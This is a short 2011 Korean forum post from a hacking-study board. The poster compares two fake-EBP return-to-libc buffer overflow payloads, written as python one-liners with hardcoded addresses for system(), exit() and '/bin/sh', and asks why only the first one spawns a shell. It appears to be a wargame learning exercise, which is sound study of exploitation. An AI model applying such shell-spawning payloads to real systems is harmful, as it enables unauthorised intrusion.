|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=3216 [복사]
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1) FAKE EBP를 버퍼의 시작 주소로 하여 RTL 하면 성공
[ "AAAA" ] + [system()] + [exit()] + ["/bin/sh"] + [NOP*24] + [fake ebp:(buffer)] + [leave;let]
--------------------------------------------------------------------------------------------------------------
$(python -c 'print "AAAA" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\x90"*24 + "\xb0\xfa\xff\xbf" + "\x32\x85\x04\x08"')
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
2) FAKE EBP를 argv[2]로 하여 RTL 하면 실패.
ARGV[1]::([ "D"*40 ] + [fake ebp:(argv[2])] + [leave;ret])
ARGV[2]::(["AAAA"] + [system()] + [exit()] + ["/bin/sh"])
--------------------------------------------------------------------------------------------------------------
$(python -c 'print "D"*40 + "\x48\xfc\xff\xbf" + "\x32\x85\x04\x08"') $(python -c 'print "AAAA" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40"')
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
※(위의 leave;ret 주소는 사본 주소 입니다)
※ 1번은 되고 2번은 안됩니다. (주소가 틀릴시 Segmentation fault가 나지만 에러도 없습니다.)
이유를 모르겠네요.
|
Hit : 3645 Date : 2011/06/11 07:18
|